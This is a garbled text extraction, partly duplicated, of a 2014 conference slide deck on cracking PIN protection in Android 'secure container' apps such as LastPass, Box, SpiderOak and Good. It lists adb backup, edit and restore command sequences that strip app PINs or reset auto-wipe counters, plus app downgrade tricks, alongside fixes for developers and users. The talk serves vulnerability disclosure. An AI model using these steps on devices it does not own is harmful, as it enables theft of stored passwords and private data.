  • Slide 253
Page 15: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 16: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

